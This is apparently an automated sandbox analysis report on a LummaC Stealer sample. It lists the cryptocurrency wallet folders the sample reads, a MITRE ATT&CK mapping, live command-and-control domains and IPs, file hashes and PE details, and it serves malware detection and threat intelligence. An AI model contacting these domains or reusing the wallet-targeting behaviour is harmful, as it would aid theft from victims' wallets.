Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	3 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
qeUaxJCA3FO.exe	58%	ReversingLabs	Win32.Trojan.Zusy
qeUaxJCA3FO.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
bitchsafettyudjwu.shop	0%	Avira URL Cloud	safe
radiationnopp.shop	0%	Avira URL Cloud	safe
https://bitchsafettyudjwu.shop/apie	0%	Avira URL Cloud	safe
benchillppwo.shop	0%	Avira URL Cloud	safe
https://bitchsafettyudjwu.shop/	0%	Avira URL Cloud	safe
https://bitchsafettyudjwu.shop/PR	0%	Avira URL Cloud	safe
bouncedgowp.shop	0%	Avira URL Cloud	safe
bargainnykwo.shop	0%	Avira URL Cloud	safe
https://bitchsafettyudjwu.shop/on	0%	Avira URL Cloud	safe
bannngwko.shop	0%	Avira URL Cloud	safe
answerrsdo.shop	0%	Avira URL Cloud	safe
publicitttyps.shop	0%	Avira URL Cloud	safe
affecthorsedpo.shop	0%	Avira URL Cloud	safe
https://bitchsafettyudjwu.shop/api	100%	Avira URL Cloud	malware
https://bitchsafettyudjwu.shop/apix	0%	Avira URL Cloud	safe
https://bitchsafettyudjwu.shop:443/api	100%	Avira URL Cloud	malware
https://bitchsafettyudjwu.shop/pa	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bitchsafettyudjwu.shop	104.21.27.50	true	true		unknown
206.23.85.13.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
benchillppwo.shop	true	Avira URL Cloud: safe	unknown
bargainnykwo.shop	true	Avira URL Cloud: safe	unknown
bouncedgowp.shop	true	Avira URL Cloud: safe	unknown
radiationnopp.shop	true	Avira URL Cloud: safe	unknown
bannngwko.shop	true	Avira URL Cloud: safe	unknown
bitchsafettyudjwu.shop	true	Avira URL Cloud: safe	unknown
publicitttyps.shop	true	Avira URL Cloud: safe	unknown
affecthorsedpo.shop	true	Avira URL Cloud: safe	unknown
https://bitchsafettyudjwu.shop/api	false	Avira URL Cloud: malware	unknown
answerrsdo.shop	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bitchsafettyudjwu.shop/apie	RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bitchsafettyudjwu.shop/on	RegAsm.exe, 00000002.00000002.1768091820.000000000146E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bitchsafettyudjwu.shop/	RegAsm.exe, 00000002.00000002.1768091820.000000000146E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bitchsafettyudjwu.shop/PR	RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
https://bitchsafettyudjwu.shop/apix	RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bitchsafettyudjwu.shop:443/api	RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bitchsafettyudjwu.shop/pa	RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.27.50	bitchsafettyudjwu.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467846
Start date and time:	2024-07-04 21:48:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	qeUaxJCA3FO.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/5@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 36 Number of non-executed functions: 94
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: qeUaxJCA3FO.exe

Simulations

Behavior and APIs

Time	Type	Description
15:48:56	API Interceptor	6x Sleep call for process: RegAsm.exe modified
15:49:06	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	OVER DUE INVOICE PAYMENT.docx.doc	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	https://1drv.ms/b/c/76a2f2769a0f2d92/EVBBlcPr69hPlwB4teIJkR8BhOEwtE3haDg1sSdukRfZrw?e=geYoLr	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://1drv.ms/b/c/76a2f2769a0f2d92/EVBBlcPr69hPlwB4teIJkR8BhOEwtE3haDg1sSdukRfZrw?e=geYoLr	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	104.21.45.251
	xJwSq336bs.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://chorbie.com/services/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://share.mindmanager.com/#publish/mnPTcUqLfLnU6HRHMb6xC3qXYGZYU6tmBtOy3sS6	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	104.17.28.25
	Invoice - 06736833774062515586349558087774116555577037575401 - Daiichi-sankyo.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.40.60
	0001.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	104.21.27.50
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	104.21.27.50
	https://www.support.cryptoplanet.in/downloads.php	Get hash	malicious	Unknown	Browse	104.21.27.50
	swift_copy.docx.doc	Get hash	malicious	Unknown	Browse	104.21.27.50
	Vq3Ri8EP9z.exe	Get hash	malicious	LummaC	Browse	104.21.27.50
	SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Get hash	malicious	LummaC	Browse	104.21.27.50
	SecuriteInfo.com.Win64.Malware-gen.20485.10039.exe	Get hash	malicious	LummaC	Browse	104.21.27.50
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	104.21.27.50
	BDQfYL99b2.exe	Get hash	malicious	Remcos	Browse	104.21.27.50
	7EulSGn18e.exe	Get hash	malicious	LummaC	Browse	104.21.27.50

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_qeUaxJCA3FO.exe_26ced5a8273fce98aa9021c21fb0fef74efa7d5c_dc1fb231_c6be8ca1-2306-40fb-9124-95b6fa544bbf\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7160322192643771
Encrypted:	false
SSDEEP:	96:LsFp3ecT/sqshqgqm7qVftQXIDcQwc6SfcEAcw3VEa+HbHg/8BRTf3Oy1H3a9/Zj:Yp/JlA0+gKijuGzuiFuZ24IO83xo
MD5:	27D1ECA27844F6AFCFED7CFEC7322DF3
SHA1:	497C38D51ED5506DE7339B3B970E5AE54398FD7A
SHA-256:	D463A866CC99FF84840B365F35EAA78AC38D859A0929427B038C49ED38D9F143
SHA-512:	536D3418FAE472CFADF7E1F9460E23C4EC3437E3C6F8AEF2C6EA6C7A00C7E1553618FCA2DD1180835113219BA8389E622A5FB7BFBCE961836788949CF38A141A
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.4.5.9.6.1.3.4.6.2.1.4.9.5.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.4.5.9.6.1.3.4.9.8.0.8.5.2.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.6.b.e.8.c.a.1.-.2.3.0.6.-.4.0.f.b.-.9.1.2.4.-.9.5.b.6.f.a.5.4.4.b.b.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.b.2.f.b.4.d.-.6.a.c.b.-.4.3.e.f.-.9.f.6.4.-.f.3.8.2.5.a.6.c.0.8.0.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.q.e.U.a.x.J.C.A.3.F.O...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.6.8.-.0.0.0.1.-.0.0.1.4.-.e.6.8.0.-.5.3.3.3.4.b.c.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.e.d.a.9.d.6.d.a.b.4.9.4.1.1.c.5.2.f.c.8.6.b.a.f.1.9.a.1.b.4.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.7.6.7.4.f.e.1.3.6.d.8.0.3.0.8.a.4.4.d.9.9.a.c.7.2.b.8.b.e.5.5.0.6.0.4.1.1.0.!.q.e.U.a.x.J.C.A.3.F.O...e.x.e.....T.a.r.g.e.t.A.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A8A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jul 4 19:48:54 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	55908
Entropy (8bit):	1.698977719838576
Encrypted:	false
SSDEEP:	192:870yjOtOQtmRUShYN8gldDBLRNecuLc864LV8FV:6jaUQtm6sYN8gDBLRNeTt64ef
MD5:	D022212E1272878B9B66F375B9EE7E90
SHA1:	A161D8ED910E69CAAE7A6252DDB6848C8BDEBABD
SHA-256:	EEA89588B4BA65BEEACC3BF5B8B3624C50A8CF3345D78334D885EB2206382357
SHA-512:	AC1B2627B5FB3331E9F64E99D57B24E305B8A86771D3982C19F3D8B49548F69D5B9D8986A4FB620CE6087F5AA45FE12727196863C41D8E071B4916BE8218072F
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........f........................0...............p$..........T.......8...........T...........@...$...........,...........................................................................................eJ..............GenuineIntel............T.......h......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B08.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8302
Entropy (8bit):	3.701008219726407
Encrypted:	false
SSDEEP:	192:R6l7wVeJbl6M6Y9hSUsDbWggmfUhmpDy89bgzsf3gm:R6lXJJ6M6YLSUsDbpgmfUWgYfV
MD5:	FF81155B9A71E57EAAE6B9EB8775AA17
SHA1:	52329AC3D957580BABBE9A610A98F3E03BA2C9F1
SHA-256:	AEF48E5BE103E124F69E58AA4DEF3D3E1473636597B643F7EA11E099114C2A98
SHA-512:	A2B8D5A0982DD771C89251425F2229EE7EB16BDE1E630DA0FA5EDE6D373F9C1441D378FEBE0934564A69567A7FE5A660A4975594DFF153086ACBB4E45E00AA87
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B57.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4586
Entropy (8bit):	4.482762197207333
Encrypted:	false
SSDEEP:	48:cvIwWl8zs4Jg77aI9LQWpW8VY2dYm8M4JSFLFBLFFFfQv+q8fF9FCwRyRKjFU8ci:uIjf+I7Jp7VmJSxfEiv3RyIj+d+dd
MD5:	7BDA248AC10989C6D2F7077E73AA123E
SHA1:	0AD2E93150A29AC51188D6236779745CA7DCE7C3
SHA-256:	B86A31A5F7FD7119615B2BD776A4AFC2D420A1478EF391B779A3B9D737996580
SHA-512:	BEBDE725A84E8EF9A6BF06E3D21AFF6079A1C538E60C2532B3249F192430B951B9553456FD944EF0A332D09E458FCB11D47CA8C0204AC32ECA9F3142D24BB8FF
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="396651" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46547603640039
Encrypted:	false
SSDEEP:	6144:vIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN+dwBCswSbA:AXD94+WlLZMM6YFHg+A
MD5:	78736CA7460022345B8E2A98981FDEEC
SHA1:	31BBCADA24EDB0364A8A48E0B521C7D7469D4A1B
SHA-256:	177F86BB2FE62564451D7F016F0760AAA7D707481F0DCD4425A3DE99D4B74DC2
SHA-512:	A8A3FCDF30AACE1255D90B78347860813C9A323447266D030688ED9DA4E32666DFC1BD98CE90CF7474684DF3C14FFB9E0228102238D4DE6CF9AA3608DDE91162
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...3K...............................................................................................................................................................................................................................................................................................................................................o..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.6320128013011015
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	qeUaxJCA3FO.exe
File size:	530'432 bytes
MD5:	efc76b9581da08661c9c91c2a6e7d289
SHA1:	ef7674fe136d80308a44d99ac72b8be550604110
SHA256:	85356bb669ec17503e48ca457e99347f5386ba644fba9d638d4188a7b4970153
SHA512:	b2d3432b68b227a5ad64faf6cc789f32ab2234a070c25393849c3d170616a125c1c3c82e18a7952b3ddd3a0024ff845c67aa67ce9b011b9cd9b74e093fc4e5d1
SSDEEP:	12288:MnUGt+HbHe5BjPORtvLP9qpbY7/2E1yItd2ybSLxWP1yh:Mnncbs1PODZqpBCSiS8Pg
TLSH:	68B4F10175C18472E573113706E5DBB69A3EB9300B616ECB6B841F7FCF602C29B3669A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........1.kxb.kxb.kxbj.{c.kxbj.}c.kxbj.\|c.kxb{.\|c.kxb{.{c.kxbj.yc.kxb.kyb8kxb{.}c.kxbJ.qc.kxbJ.xc.kxbJ..b.kxbJ.zc.kxbRich.kxb.......

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40afb9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66869C92 [Thu Jul 4 12:58:58 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	811cfc8e0687b9bcab4d19d1ac4a7df0

Entrypoint Preview

Instruction
call 00007F4860B5CFA8h
jmp 00007F4860B5C7F9h
cmp ecx, dword ptr [00435040h]
jne 00007F4860B5C983h
ret
jmp 00007F4860B5D2E1h
jmp 00007F4860B5D4B1h
push ebp
mov ebp, esp
jmp 00007F4860B5C98Fh
push dword ptr [ebp+08h]
call 00007F4860B69C66h
pop ecx
test eax, eax
je 00007F4860B5C991h
push dword ptr [ebp+08h]
call 00007F4860B65E97h
pop ecx
test eax, eax
je 00007F4860B5C968h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F4860B5D48Ch
jmp 00007F4860B594A4h
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F4860B5D476h
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
test byte ptr [ebp+08h], 00000001h
push esi
mov esi, ecx
mov dword ptr [esi], 0042B35Ch
je 00007F4860B5C98Ch
push 0000000Ch
push esi
call 00007F4860B5C95Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F4860B5C99Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F4860B5C98Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F4860B5C98Eh
add edx, 28h
cmp edx, esi
jne 00007F4860B5C96Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F4860B5C97Bh
push esi
call 00007F4860B5D428h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x34160	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x341a8	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x82000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x83000	0x1f9c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x31fc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x31f00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x164	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x27817	0x27a00	60a0db05ce4e38dd78d4dabbb8745b56	False	0.5494935429810726	data	6.643882671099797	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.BSS	0x29000	0xdfd	0xe00	e44939ff194ea63962967f5df0ecf385	False	0.642578125	data	6.40519127535927	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0xa9c2	0xaa00	ac1aa776148644c596d3677f95f632bf	False	0.4309972426470588	data	4.960157816836582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x35000	0x4cfa4	0x4c000	ae2881be7a656d98fd734520914fbc5d	False	0.9867810701069079	data	7.989334474529715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x82000	0x1e0	0x200	c35d66eb0330df7b21d6f51c26172ee0	False	0.52734375	data	4.704363013479242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x83000	0x1f9c	0x2000	8fb1a23c8dee9bb28d69986333c65fb8	False	0.7489013671875	data	6.521174734170063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x82060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

USER32.dll

OffsetRect, GetUpdateRgn

KERNEL32.dll

